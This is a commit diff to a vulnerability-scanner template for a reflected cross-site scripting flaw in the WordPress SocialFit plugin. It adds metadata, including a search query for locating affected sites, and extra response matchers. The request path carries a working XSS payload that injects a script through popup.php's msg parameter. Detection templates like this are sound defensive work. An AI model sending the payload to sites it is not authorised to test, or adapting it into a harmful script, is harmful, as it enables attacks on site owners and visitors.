Update wp-socialfit-xss.yaml

http/vulnerabilities/wordpress/wp-socialfit-xss.yaml

@@ -12,24 +12,36 @@ info:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 7.2
     cwe-id: CWE-79
-  tags: wordpress,xss,wp-plugin,edb
   metadata:
     max-request: 1
+    verified: true
+    publicwww-query: "/wp-content/plugins/socialfit"
+  tags: wordpress,wp,xss,wp-plugin,edb
 
 http:
   - method: GET
     path:
       - '{{BaseURL}}/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
           - '</script><script>alert(document.domain)</script>'
+
+      - type: word
+        part: body
+        words:
+          - '<title>Google+'
+          - 'window.___gcfg'
+        condition: or
+
       - type: word
         part: header
         words:
           - "text/html"
+
       - type: status
         status:
-          - 200
+          - 200